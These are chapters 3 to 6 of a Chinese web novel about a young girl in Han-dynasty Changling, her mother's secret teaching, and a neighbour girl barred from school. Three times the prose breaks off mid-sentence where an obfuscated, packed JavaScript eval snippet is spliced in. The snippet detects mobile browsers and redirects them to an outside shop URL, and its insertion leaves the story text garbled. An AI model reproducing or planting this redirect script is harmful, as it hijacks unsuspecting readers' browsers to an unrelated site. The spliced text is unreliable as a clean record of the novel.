《我的小姐妹都是穿越者![汉]》
3. 第 3 章
第三章
“纵步站立,手举过头顶,从右往左劈,从左往右劈.....”田家小院内,田贞手握木刀跟着阿母的指令练习刀法,心却早已飞远:无忧姐姐会给我编草篓吗?篓子长什么样?篓子编好了是自己去取,还是等姐姐拿给自己?
一个小小的草篓牵动了田贞全部的思绪,完全没注意到自己的表情已经失控了。
“想什么呢?”田母看着咧嘴傻笑的女儿,厉声训斥,“练刀法不是耍戏法!笑什么笑!气势呢!”
“哎!”田贞赶忙应声,收敛心神,全神贯注,手握木刀反复三个动作:手举过头顶,从右往左劈,从左往右劈,收刀向前直刺。没有任何花里胡哨,完全是大开大合的杀招——当然,此时的田贞并不懂。
终于,田母喊停,“好了。”又交待,“去喝口水,玩儿去吧。”
“好耶!!!”田贞丢开小木刀,捧着水瓢咕噜咕噜喝光一瓢水,直把肚子喝成了个鼓胀的□□肚,跑起来的时候都能听见肚子里的水摇得哐当响。
看着毛手毛脚的女儿,田母摇头叹气,只安慰自己孩子还小,以后会长进的。只是.....想到一些事儿,田母眉头紧锁,目光深邃。
田贞跑出家,一溜烟来到隔壁家的院墙外,扯着嗓子喊,“大壮!大壮!耍去吗?!”
“就来!”墙内传出大壮欢快的回应,紧接着是一串“咚咚咚”急促的脚步声,一个人影飞奔而出,正是大壮,肩头上还扛了一杆鱼竿。
“大壮!”田贞冲上前,急急问,“无忧姐姐在家吗?”
“在呢。”大壮不以为意,急急往南边的林子去,兴奋道,“咱们今天去钓鱼吧!”
“你阿母怎么肯的?”田贞疑惑。自从上回大壮搞丢了家里的鱼竿,李母便严禁大壮将家中的任何物什带出门。
“哎呀。”提起这事儿,大壮脸上笑容消失,垮着脸道,“这不是马上要去上学了,阿母法外开恩,允许我带鱼竿出门。”毕竟等上学了,可就没这等野玩的逍遥日子喽。
“上学?去曹夫子那儿吗?”守陵官员的家属们聚集住在一处,规格相当于一个小村子。父辈们大部分时间都在陵园里上班,几乎管教不到子女们。为了子孙后代们的教育,便集资聘了个老夫子来教孩儿们读书识字。便是田贞口中的曹夫子。
“不是他还能是谁?”提起上学,提起夫子,大壮整个人如霜打了的茄子,一脸生无可恋。
“那不是挺好的么,能去长本事。”田贞不理解大壮的低落。
“你懂什么。”大壮撇嘴,“读书可辛苦了,听高大哥说,去上学,一坐就坐一整天,写字写到手肿,背书背不出来还要挨揍,可惨了。”
“真不知道上学有什么好的,我阿姐还也要去,结果被阿母训了。”
“什么?”田贞没听清大壮抱怨后的嘀咕。
“没什么。”大壮结束关于上学的话题,催促道,“快走吧,钓鱼去,我今天一定要吃大鱼头喝鱼汤。”
田贞这会儿已经没了兴致,追问道,“无忧姐姐也想上学?被训了?为啥?”田贞不解,上学是长本事的好事儿,官邑里家家户户都会送孩子去上学的,不然花钱请夫子作甚的?
大壮道,“女孩子要上什么学。她去上学了,家里的活儿怎么办?我阿母忙不过来的。再有,就算去上学了,读书识字了又能怎么样?女人又不能当官。”大壮这些话都是学的自家阿母的。
“王家姐姐不也去上学了吗?”田贞不理解,在这一片送女孩儿去读书识字的人家并不在少数,毕竟一只羊也是放,两只羊也是放,反正请夫子的钱已经出了,拜师的束脩又不值当个什么,去识几个字,读几本书总归是没坏处的。
“啊.....”大壮哑口无言,挠头道,“反正我阿母不让阿姐去上学。”
“哎呀,你问东问西的作甚。”大壮拉着田贞的胳膊,扯着她要走,“咱们钓鱼去吧!”
“不去了!不去了!”田贞肩膀一耸便挣脱了大壮的攀扯,“你自己去吧,我去找无忧姐姐。”说罢拔腿就跑。
“无忧姐姐!”田贞一头闯进李家。
院子里,树荫下,李无忧正在织布。昨天她一时昏头,竟然向阿母提出也想去上学,结果,自然是一通训斥以及更加繁重的家庭活计。
其实自己哪里需要去学堂读书识字,不是吹牛,就自己的知识量放眼如今做个宰相都是足足的。只不过,自己一肚子的知识总要有个来源。不然自己大字都不识一个,也不会写字,去捣鼓造纸术,岂不是没头没脑,毫无逻辑可言。
结果....又是一场空。
哪怕自己向阿母保证上学一点也不会耽误自己平日的活计,自己可以早起做活织布,甚至拜师的束脩也不用家里负担,自己想办法解决。
但,还是不行。甚至所有的努力都被总结成一个词儿:作怪。
李无忧失望至极,她听到了田贞的声音却假装没有听到,她实在提不起精神去应付小屁孩儿。
田贞蹑手蹑脚走到织布架旁,乖巧蹲下,也不吱声,就静静看着李无忧织布。最终还是李无忧被盯得发毛,先一步开口,不耐烦道,“草篓子还要等几天。”她被阿母安排了翻倍的活计,哪里还有空闲去给田贞编小篓子。
“没事。”田贞摇头,“不着急的,明年给我也成的。”
李无忧暗道,你还真是大度呢,既然如此大度,为何不干脆说不要篓子了,这才是真省了自己的麻烦。
“那个......”田贞蹲在地上,手指不自觉扣着泥地,不一会儿便扣除一个小坑洞来,指甲缝里全是泥巴,乌黑黑一条线。
“那个......”田贞心里的小人在打架,犹豫纠结得要命,“那个......”
“你是有什么事儿吗?”李无忧没好气道,“我有好多的活儿,没空陪你玩。”
“我听大壮说,无忧姐姐想上学?”
“所以呢?”李无忧彻底冷了脸,一种被人看到糗事的暴躁感冲上脑门。就好像.....就好像上辈子不及格的英语卷子被人贴到了黑板上,那种感觉.....
“我.....”田贞被李无忧冷酷的眼神吓了一跳,但还是鼓气勇气道,“姐姐是想要学认字吗?我.
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292530|198518||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
...我可以教你.....”田贞声音越说越小。
“哈?”李无忧冷笑一声,尖声道,“我还要你来教?!”
田贞知道这是不相信自己,连忙在地上划拉了好几个字以做证明。
“李无忧 田贞”
田贞指着地上歪七扭八的五个字急急道,“我真的识字!我....我....我阿父教我的!”
“无忧姐姐你想学字,我来教你好不好。”
“用不着!”李无忧又不是真不识字。如今正是汉武朝晚期,虽然官方用字还是篆书,但是日常书写基本都是隶书,如此,李无忧根本不存在任何阅读障碍,她需要的只是过个明路,好让自己的所学所知能有个挂靠。
“用不着你个小孩儿来可怜我。”李无忧觉得自己真惨,别人穿越都是呼风唤雨,大展身手,从此登上人生的顶峰。怎么到了自己就地狱开局呢?甚至连不相干的小孩子都怜悯自己。
“不是的.....”田贞委屈极了,泪水涌上眼眶,反复解释,“不是的.....不是姐姐想上学识字的么.....”田贞完全不明白李无忧的怒气从何而来,她哽咽道,“你知不知道....你知不知道......”自己是鼓起多大勇气……
“!”看到小孩儿的眼泪李无忧更加烦躁了,“你哭什么啊!别人看到了还以为我欺负你了呢!”
田贞的哭和一般小孩儿的哭不一样。有的小孩儿哭是雷声大雨点小,哇哇大叫,撒泼打滚。可田贞的哭是无声无息的,眼泪就像是静静的溪水缓缓流淌,慢慢滑落。
“你!”李无忧看着田贞吧嗒吧嗒的泪珠头发都竖起来了,赶紧伸手去擦,“快别哭了,算我不好,行了吧,我道歉,我不好,你别哭了。”
“你都不知道.....”田贞轻易不哭,一旦开闸,那就很难停下,不一会儿眼睛就红了个桃子。
“我知道!我知道!”李无忧指着地上的字道,“这个是李无忧,这个是田贞,我都知道。谢谢你教我认字!快别哭了。”
“你都不知道.....”田贞就像个复读机,反反复复就那么几句话。
“!”李无忧头大,暗道自己最近绝对是水逆期,不然怎么会诸事不顺。
“快别哭了。我给你编篓子。”李无忧企图转移小孩儿的注意力。
“啊?”田贞果然被吸引了注意力,泪珠子挂在腮边停住了。
“你是要大篓子还是小篓子,是要圆篓子,还是长条扁篓子......”
“圆的,矮的。”
“你擦了眼泪,洗好脸,我就给你来编。”
“好。”
一下午,田贞没去摸鱼,李无忧没有织布,两个人一起动手,编了又圆又矮又胖的草篓子。
篓子编好了,田贞的眼睛也消肿了,看不出哭过的模样。李无忧松了口气,暗道还好小孩儿都是金鱼脑袋,伤心来的莫名起来,去得也快。
“谢谢无忧姐姐!”田贞抱着篓子甜甜的笑了。
看着傻小孩儿的笑脸,再看看才织了一掌宽的布,李无忧叹气——看来今晚又要不太平了。
4. 第 4 章
第四章
“阿母~~~”田贞一蹦一跳地回了家,跑到进房,找到母亲,高高举起手里的草篓,拉长音炫耀道,“阿母~~~你看!”
田母正在忙活一家人的晚饭,闻言不禁停下手里活计,看到女儿手里圆乎可爱的小草篓,问,“哪里来的,怪好看的。”又见女儿一身整齐,完全不像往日游玩回来的泥猴模样,忙追问,“下午在哪里的?没去林子里玩?”
“无忧姐姐给我编的。”田贞把手里的草篓子转了个圈,全方位展示给母亲看,“以后我摸鱼都带着它,一定能抓到更多。”
“你在隔壁家的?”田母收了笑容,“这篓子是李家丫头给你编的?”
“对啊!”田贞点头。
“你这孩子.....”田母眉头一拧,转身往厨房里间的小屋去,再回来时左右手各拿了两枚鸡蛋。
田母将鸡蛋放进小草篓里,推推田贞,“给隔壁家送去,咱不能白要人家的东西。”
“啊?”田贞抱着一下子变沉的草篓不明所以,喃喃道,“这是无忧姐姐送我的。”送的礼物怎么能说是白要呢,这不是一回事儿啊。
不等田贞想明白,田母已经推着她出门了,催促道,“快去!”李家婆娘是个厉害的,小气得很,嘴皮子又利索,今日白得她家一个草篓,明日官邑就要传自家白得李家一头猪了。
“啊?”田贞不咋乐意,恹恹不挪步子。
“快去快回,马上到晚饭时候了。”田母赶田贞出门。
“这是做甚呢?”一道威严的声音打断了母女二人的拉扯,却是田家老太从外头唠嗑回来了。
“奶奶。”田贞赶紧叫人。
“晚膳好了?”田老太一对肿眼泡耷拉成三角眼盯着自家媳妇。
田母欠身行礼,口称君姑,又道晚膳已经都准备妥当,就等摆桌了。
一时气氛凝重,田贞只觉不妙,紧紧抱住小篓子,低着头,大气不敢出,深恐一个不好让奶奶邪火更旺——没错,就是邪火。田贞虽然年纪小,但她什么都看得明白。在她看来,在明明和顺美好的日子里却总是凶巴巴的奶奶就是无理取闹,就是烧邪火,就是找茬。
“那还不摆桌?吵吵嚷嚷的像什么样子!”田老太继续训斥。
“这就来。”田母轻轻拍拍田贞的肩膀,示意她赶紧去隔壁李家把鸡蛋送了,自己则往西边厨房去了。
这会儿田贞脑子里也没什么“为什么要送鸡蛋”、“不想去送鸡蛋”的念头了,她拔脚就走,只想赶紧逃。
却被叫住。
“贞丫头,都到饭点了,你往哪里去。还跑?像什么样子!有点姑娘家的模样吗?”田老太逮住田贞训话。
田贞浑身僵硬,嘴巴张着不知要怎么回话。
“我让她去隔壁送鸡蛋。”田母替田贞解释,“我请李家大丫头帮忙编了个篓子,送她两个鸡蛋意思一下。”田母将事情都揽到自己身上。
“请人编篓子?!”田老太声音一下子拔高,像是被拽住脖子的老母鸡,一双眼睛像是刮刀一般上下打量田母,讥讽道,“哎呦,是多金贵的人啊,都雇人做活计了,这家里就是有金山银山都不够霍霍的.....要知道今时不同往日,田家有田家的规矩.....”
一连串难听的话如竹筒倒豆子般倾斜而出,砸得田贞头昏脑涨,两眼发蒙,只感觉阿母揽住自己往外走,好像还说了什么话,可自己都没听清楚。
抱着装着四枚鸡蛋的草篓子,田贞游魂一般走到李家门口,还没回神呢,又听到一串激烈的训斥声。
“你本事大了!我说你两句你就撂担子了?!布也不织!水也不烧!饭也不做!什么头疼不舒服,你哄鬼呢!”
正是李母的声音。
李无忧早有心理准备,一下午就给小孩儿编篓子了,布才织了巴掌宽,晚上少不得一顿训斥。如此,当暴风骤雨袭来之时,她内心平静无波,只静静立在墙角,等待风暴的过去。
除此之外,又能如何呢?
“你这是什么死样子!”李无忧木头人一般无悲无喜的模样更加激怒了李母,“认不认错!张口说话!你是哑巴了吗?”
李无忧不想说什么,要是说自己下午是给田家小丫头编篓子了,李母必然要去田家大闹一场,到时候场面更加难堪。
就在李无忧决定硬抗过去的时候,一个小小的身影出现在了院门口,开口就是脆甜甜的声音,“李婶婶!李婶婶!”那小身影像一只快乐的小狗窜进了院子。
“啊?啊.....”李母一脸的狰狞还来不及收起来,想要堆出个笑来,只越显得面目扭曲,“贞丫头啊....啊....这都到饭点了,你来.....”
不等李母说完,田贞将手里的篓子一举,大声道,“我来送鸡蛋的!”
“?”李母、李无忧都是一脸迷茫。
田贞选择了用阿母的说辞,“无忧姐姐手巧,阿母请无忧姐姐编个草篓子。篓子编好了,让我送鸡蛋来。”说着将手里的篓子举得更高些,好叫李母瞧见里头的鸡蛋。
“什么篓子鸡蛋?”李母反应不过来。
李无忧开口将谎话圆满,“下午我头晕,怕把布给织坏了。正好田婶婶请我编个篓子,反正篓子闭眼都能编。”
“是这样的啊!”李母顿时喜笑颜开,伸手接过篓子,等掏出四个鸡蛋,笑容就更盛了,没忍住道,“还以为要好些天没蛋吃了。”家里的鸡蛋都攒着有给儿子交束脩。
又责怪李无忧,“你怎么不早说给田家编篓子的事儿?贞丫头她娘出手自来大方的,你该多....”刚想说怎么不多要些,猛得记起田家丫头还在。李母赶紧变了话头,冲田贞笑,“贞丫头留下来吃饭,我这就去生火烧水。”
“谢谢婶婶。”田贞摇头,“家里晚饭已经好了。”说完冲李无忧大喊一声,“谢谢无忧姐姐!对不起!”便一溜烟跑了。
对不起,不知道会给你带来这样大的麻烦。
田贞的意思,李无忧听懂了,却更觉得难堪。她的目光落在阿母手里的鸡蛋上,心烦意乱:这样的日子到底什么时候才是个头,难道一生就要活在这种为了一个篓子、一枚鸡蛋都能搅得鸡飞狗跳的日子里吗?自己的知识、才华、精力不该消耗在这种无意义的琐事上。
跑出李家的田贞并没有立刻回家,她站在两家之间的小巷子里,两眼发直梳理着自己的疑惑:为什么要生气呢?明明是很小的事情,奶奶和李婶婶为什么要生气发脾气?不是说气大伤身吗?她们这不是自己害自己吗?——完全想不明白。
再有,自己明明才是一切的起
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292531|198518||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
源,如果不是自己,无忧姐姐不会为了编篓子而耽误做活,阿母也不会送鸡蛋给李家。可为什么自己没有被训得很厉害?——因为阿母和无忧姐姐站在自己的身前挡住了暴风骤雨。
田贞呆想了好一会儿,最后只想明白一个理儿:奶奶和李婶婶都年纪大了,傻了,她们的话可以不听。阿母和无忧姐姐是好人,对自己好,自己也要对她们好。阿母和无忧姐姐都有很多的活儿要做,自己不能打扰她们,还要帮她们一起做活。
自认想通了并且找到应对之法的田贞松了一口气,脚步轻快的往家去了。
田家的风暴已经停息了,饭菜碗筷摆上桌,田老太正在用饭,田母则趁着天光未暗继续织布,田小弟才九个月,下午睡得饱饱的,这会儿满院子乱爬。田父和田大爷都陵园当值,朝廷官员五日一休,虽然官邑离陵园很近,但平日他们爷俩都不会回家。
一顿食不知味的晚餐过后,田贞帮阿母一起收拾碗筷。
看着垫着脚从水缸里舀水的女儿,田母微微叹气,拍拍小孩儿的屁股,笑道,“看着你阿弟去,这儿用不着你。”
田贞看了眼正在啃脚玩儿的小弟,继续舀水,“阿弟用不着我看着,好好的呢,我帮阿母洗碗。”
说着,田贞冲阿母招招手,示意阿母凑过来,有悄悄话要说。
田母弯下腰,凑近自家女儿,洗耳倾听。
“阿母。”田贞压低声音,小小声道,“人是不是越老越傻,越糊涂啊。”吃饭的时候,田贞的小脑袋瓜一刻没停,还想着今天发生的事情,她又得出一个结论:人越老脾气越坏,脑子也越不好使。
证据有二:1、李婶婶和奶奶都年纪比阿母大,她们脾气都不好,总是说些令人难受的话;2、奶奶前些年可不是这个样子的,挺和气的,但近些年像是着了魔,特别是今年,十天有八天都是阴着脸,不知道是什么不如意。估计就是年纪大了的缘故。
“嗯?”田母先时没有反应过来,等脑子转过弯来意识到女儿是在蛐蛐家婆,没忍住噗嗤一笑。
“你啊!”田母点点田贞的额头,屏住笑意严肃道,“不许非议长辈。”
“不是非议.....”田贞还想说不是非议,是有据考证,就被阿母捂住了嘴巴,一个字儿都说不了了。
“大人的事儿你不懂,别管。”田母道,“你每天好好完成功课就成。”
提起功课,田贞想起一个事儿来,顿时也管不了人是不是越老越傻了,苦了脸继续舀水。
田母见状只以为女儿是烦恼课业。
等到了晚间,田母服侍田老太睡下,回了西边厢房,就见草席上小儿子睡得四仰八叉,女儿则像蛆虫一般蛄蛹不停,不晓得在作甚。
“这是怎么了?”田母拿起蒲扇给两小孩儿扇风,“还想白天的事儿呢?”
“嗯。”田贞睡不着。
“你奶的话,你左耳听右耳出,别放心里,她就说说而已,又不能做什么。”田母开导女儿,“你不在乎,就谁也伤害不了你。”
“不是的。”田贞睡不着却是为了另外一桩事情。
“我.....”田贞垂眼,不敢去看母亲,“我今天....说教无忧姐姐识字.....”但这是自己和阿母的秘密啊。
自己没能守住秘密。
5.第 5 章
第五章
田贞有很多秘密,这些秘密大多和阿母相关。比如学武,比如认字。
阿母会很多很多的本领,还将这些本领都教给了自己,并且叮嘱必须保密,谁也不能说,包括奶奶,包括阿父。
是只属于宝宝和阿母的秘密。
一直以为,田贞都做得很好。她每天扎马步、挥刀、认字、读书,但除了阿母,无人知晓。直到今日.....
“我.....”田贞知道自己做错了事,眼泪含在眼眶里,将白日的事情道来,“无忧姐姐想要去曹夫子那儿上学,李婶婶不同意,我看她很难过,就没忍住......”田贞越说声音越小,垂下头,泪珠子吧嗒吧嗒落在青绿色的草席上晕开一个个圆点。
是冲动,还是深思熟虑后的蓄意为之?
田贞的小脑袋瓜理不清这么复杂的东西,但是她知道,自己并非是无心之失。在万分纠结之后,在明知道自己这是出卖阿母的秘密的前提下,她还是提出了“我可以教无忧姐姐认字”。
是怜悯吗?有一点儿。谁会忍心看到那样好的无忧姐姐失落呢。
是炫耀吗?也有一点儿。那样好的无忧姐姐也有无助的时候,而自己一个小屁孩儿却能伸出援助之手,那是多么的厉害啊!
“我.....呜呜呜.....”直面自己内心的黑暗面,田贞再也憋不住,呜呜哭泣,“我是给坏小孩儿!”好小孩儿怎么会有这么多的“功利心”,好小孩儿怎么会“出卖”阿母。
“你啊.....”听完来龙去脉,田母轻轻叹气,可是看着才七岁又哭得可怜兮兮像只淋雨小猫的女儿,什么责备的话都说不出来了。她才七岁呢,她已经够懂事了,自己怎么能要求她完美无缺呢?自己在她这个年纪也是个小傻子来着。
“那无忧是怎么回应你的呢?”田母细细追问当时情形。
“无忧姐姐不高兴,说才不要我教。”提起这事儿,田贞更加伤心了。自己是冒了多大的风险啊,结果呢,对方完全不屑一顾,弃之如蔽履。
“那孩子是个心气高的。”田母微微松了一口气。
“哦!对了!”田贞想起一个细节,眼神蹭一下亮了,“我骗无忧姐姐说是阿父教我识字的。”想起这一茬,田贞也不哭了,两手胡乱把眼泪鼻涕擦了,冲田母咧嘴笑道,“这样是不是秘密就没有被人知道?!”
“你阿父一年到头有几个时辰在家的?便是他教你识字,又能教多少。”田母点出田贞谎言中的漏洞,起身去拿湿布给女儿擦脸。
“啊?那怎么办?”田贞还以为自己很高明来着。
“不怎么办。”田母擦干净女儿的小花猫脸,细细与她分析,“发生的事情已经无法改变,懊悔是无用的,要想着接下来该怎么办。”
“你说说,接下来该怎么办?”
田贞眼珠子咕噜噜转悠,想了想,用阿母的话回阿母,“不怎么办。”反正无忧姐姐也不乐意跟自己学认字,那这件事儿就算了呗。一切不该到此结束。
“如果。”田贞又想到另一个可能,“如果无忧姐姐改了主意的话,我就少教她一点字。”因为自己是跟着阿父学认字的,肯定没学多少嘛——无忧姐姐虽然重要,但还是阿母更重要,自己下午那会儿真是昏头了。
“这样一切就都说得通啦!”解决了“心腹大患”,田贞长嘘一口气,宛若卸下了千斤重担,啪嗒一仰倒在草席上,又打了滚,扑倒阿母的腿上,找了个舒服的角度躺好。
“阿母。”黑暗中,田贞因着过度用脑非常兴奋,一时半会儿睡不着,问起了已经问过千百遍的问题,“为什么不能告诉人啊?读书识字,强身锻体,都是长本事的好事儿,为什么不能告诉旁人?”
哪怕已经回答过千百遍,田母还是耐心回答,“因为我们还很弱小,就像是小树苗,小猫小狗一爪子都能把咱们折断了。所以,我们要藏着、躲着,悄悄长高,长壮,不让人发现。”
“如果有人要伤害你,他以为你只有指头粗,就只使了三分力。其实你有碗口粗,三分力不仅伤害不到你,还能让你发现敌人。”田母尽量用通俗易懂的语言将自己的人生心得传授给女儿。
“敌人?谁是敌人?怎么会有敌人?他在哪儿?”田贞追问。
“不知道呢。也许以后会有。总归多学些本事没有错。”田母没有细说。她无法告诉年幼的女儿,生而为女这一生的敌人可太多了。
可能是亲生父母,在饥荒年岁,发卖女儿是惯常操作;可能是枕边丈夫,人心易变,今日是心尖宝,明日是脚底泥;可能是自己的儿女,可能是朝廷的一条政令......
“总归啊,什么都可能离开你、背叛你,但是学到手的本事不会......”黑暗中传来绵长的呼吸声,借着屋外的月光,田母看到女儿一起一伏的小肚皮,知道她这是睡了。
“真是的。”田母哭笑不得,“追着问的是你,倒头就睡的也是你。”
将呼呼大睡的小孩儿放回草席,田母睁着眼,看着黑魆魆的屋顶,怎么也睡不着,女儿白天的话在脑中浮现:“人是不是越老越傻,越糊涂啊,奶奶往年不是挺好的,今年怎么老是生气啊。”
“她才不糊涂呢。”田母幽幽叹息,想起长安城传来的那些消息,心脏不受控制地砰砰直跳——王城的腥风血雨会席卷到长陵邑吗?
第二日,田贞顶着一对核桃眼起床。
“这是怎么了呦!”一大早,田小姑就来到了长陵官邑。
田老太一共活下来两个子女。一个儿子是田顺,也就是田贞的父亲;一个女儿田媛,也就是眼前这个嗓门很大的田小姑。
“贞丫头,你这是哭了?”田小姑掰着田贞的肩膀不让她躲,势必要好好瞧瞧那对肿泡核桃眼,又向田母发难,“哎呦,我说大嫂,我家贞丫头最乖巧懂事了,你可不能这么对她,这是打她了?”
田贞开口想反驳:我才不是你家的,我是我阿母家的。结果田母一个眼神飘来,田贞闭了嘴,低头缩成一个鹌鹑,不叫小姑看见自己的大白眼儿。
“小姑误会了。”田母笑着上前,从田小姑手底下“救”回女儿,“当母亲的怎么舍得苛待孩子,贞丫头这是昨夜做噩梦哭了,让你见笑了。”
“小姑今日来得可巧。”田母转移话题,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17298808|198518||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“大父和夫君明日休沐,今日必回来用晚饭的,您留下来,咱家正好吃顿团圆饭。”
“那可真是巧了。”田小姑本就算着日子来,这会儿田母主动开口,她乐得骑驴顺坡下。
“早知道阿父今日归家,我该带只鸡来的。”田小姑一脸懊悔,又问家里有什么活计要做,自己可以帮忙置办一桌整齐的团圆饭来。
田母只笑笑,看着田小姑做戏,并不揭穿,只道不敢劳烦小姑,又道田老太约莫起床了,“君姑想小姑想得紧,你们母女难得团聚,小姑陪君姑便是,家里的活计有我呢。”
“那好!”田小姑乐得躲懒,抬脚往田老太的东厢房去。
田小姑一进屋,田贞便快步走到东厢房的窗户下,紧贴着墙根,竖着耳朵准备偷听。
看着女儿鬼精的样子,田母并不多管,她今日的活计很多,实在没空管孩子。小的那个还不会走,不用多管。大的那个正是七岁八岁最有主意的时候,这会儿有个事儿牵制她的注意力也是好的。
见阿母不管自己的小动作,田贞心里稳了,屏气凝神,全神贯注于偷听事业。
“阿母,今天晚上烧鸡好不好。”母女一见面,田小姑就撒娇。
“就你嘴馋,不过年不过节的,杀鸡?”田母不同意。
“就是!”偷听的田贞狠狠点头。
“我这不是累伤了么。”田小姑抱怨,“您和大嫂都是官太太,我命苦,嫁了个黄土里刨饭吃的,嫁鸡随鸡,嫁狗随狗.....”
偷听的田贞白眼直翻,田小姑的这套抱怨话她都听过千百遍了,每次回来都是这么几句。
“阿母你看我的手,都粗了,背也驼了......”又是一车咕噜的诉苦,田贞都听得走神了。直到田小姑提起田母,田贞一下子凝神了。
“真是倒了大霉了,阿兄怎么娶了这么个婆娘。”田小姑恶狠狠道,“我都听说了,卫家人全死光了,一个不留。”
“闭嘴!”田老太训斥,“要死了你,什么都敢说!”
“哎呀。”田小姑短了气,“这不是在家嘛,又没旁人,再说,这事儿世人皆知,有什么不能说的。”说着长叹一口气,“真是的,也不知道会不会妨碍到咱们家。”
“咱们家是什么人家。”田老太安慰女儿,“升斗小民,芝麻大点儿,长安城的贵人哪里会想到咱们,不碍事儿的。”
“但总归不得劲儿嘛。”田小姑不依不饶,“真是祸家精。”
在窗户下偷听的田贞听得糊里糊涂,不知道母女两个在说什么,只听懂田小姑是在说自家阿母的坏话,气得攥紧了拳头。
“有什么办法。”田老太无奈道,“她给顺儿生了一儿一女,还能休了她不成。再有,卫家没了,皇后还在呢,太子还在呢。”
“也是.....”听着没法换嫂子,田小姑才歇了台,转而说起这次来的重点,“阿母,真不能给你女婿在园子里安排个活儿?便是跑腿采买也是好的.....”
田小姑想为自家丈夫在陵园里谋个职位,对此,田贞毫无兴趣,她满脑子只剩下熊熊怒火:谁敢欺负阿母,她就要让谁好看!
6.第 6 章
第六章
“阿母,我去迎迎阿父和爷爷。”田贞向正在灶台边忙活的田母请示。
“这会儿还早着呢,你去迎得要等好久。”田母不解,扭头看见女儿一脸焦躁,便知迎人是假,想出去玩儿是真。
“行吧。”田母心软,终是点头同意,又叮嘱,“别跑远,万一走岔了白等一场。”
“知道!”田贞欢喜应下,“那我出门啦!”
出门前,田贞将田小弟从草席上薅了下来,拎着小孩儿把了尿又放回了草席让他自己玩儿——阿母今天太忙了,田贞担心小弟把草席尿湿了会给阿母增加工作量。
自认将一切都安排妥当,田贞飞跑出门,直奔南边小树林。她当然不是想去迎接阿父和爷爷下值回家,毕竟和他们又不是很熟,没那么多迫切的感情。
到了小树林,田贞缓了脚步,沿路低头仔细搜罗,没一会儿就在小溪边找到了自己想要的东西——决明子。
决明子是一种在河边很常见的植物,豆荚细长,剥开来里头的种子可以入药,治疗“青盲、目淫”等眼疾。除此之外,还有润肠通便之功效。正是田贞所需要的——她要给说阿母坏话的田小姑点颜色瞧瞧。
采集了足够多的决明子,田贞又一溜烟跑回家。
“怎么这么快就回来了?”田母听见动静,看着满头大汗的女儿心生疑惑。
“外头太晒了,我还是等会再去等人吧。”田贞胡扯了个借口,又道,“而且,我想了想,还是帮您干活更重要。”
田母只当女儿是贴心懂事,笑道,“我支应得过来,用不着你帮忙。你去看着点小弟,别让他尿床。”
“放心吧。”田贞得意道,“出门前,我给他把过尿了,不会尿床的。”
“那你自己玩去。”田母要操办一桌菜席,实在忙得很,根本没注意到女儿的异常之处。
见阿母顾不上自己,田贞松了一口气,正要走,却被喊住。
“等等。”
“!”田贞一整个僵住,以为自己的“阴谋”暴露了。
“张嘴。”田母从汤锅里捞出一块肉,吹冷了喂进田贞的嘴里。
“好吃!”是一块鸡胗,虽然还有点烫,但着实香甜,田贞迫不及待嚼碎咽下肚,眼巴巴看向田母,意思还想吃。
“没有了。”田母点点小孩儿鼻子,“等晚饭的时候再吃。”鸡就那么大,少快皮都能被眼尖的小姑发现,也就只能切一块小鸡胗给小孩儿解解馋。
“好吧。”田贞心里有大事儿,也不惦记一口吃的,转身便走,结果又被叫住。
“等等。”自家孩子是怎么爱都不够的,田母又从锅里捞出一块鸡血,喊田贞来吃。
“阿母吃吧。”田贞推开筷子,将鸡血块往田母嘴边送,自己撒腿跑了。
田贞跑进仓房翻出一个小石磨,提心吊胆地将采集的决明子磨成了粉末——粉末泡水比直接种子泡水效果更佳。
“要是有个小锅子熬煮一下就更好了。”田贞搞不到小锅子,只能跑去向田母要些热水。
“要热水作甚?”田母一边从大锅里舀出一碗滚烫的热水,一边询问。
田贞皱着脸,做戏道,“刚刚热狠了,喝了好多冷水,这会儿肚子疼。”
“哎呀。”田母责备,“怎么这么毛躁躁的。”她将热水碗放到灶台上,叮嘱道,“这是滚烫的水,不许碰,等冷一些再端走。”
“我知道。”田贞乖巧应下,可等田母一个不注意便端着热水走了。
将决明子碎末倒进热水中浸泡,不一会儿水就变成了深褐色。
大功告成!只等开饭了。
太阳西沉,傍晚将至,田家爷俩归家了。
“阿父!阿兄!”田小姑激动上前迎人。
田贞见了直翻白眼,暗道,小姑一整天躲在屋里和奶奶说悄悄话,这会儿阿父和爷爷到家了她也出来了。
“别做怪样子。”田母点点田贞的脑袋,小声道,“托小姑的福,咱们今天也能吃鸡肉呢。”
一边田家团聚,笑语寒暄,另一边,田贞和田母布置桌案,分摆碗筷。
田老爷、田老太坐上位,田父、田母坐右手边,田小姑和田贞坐左手边。
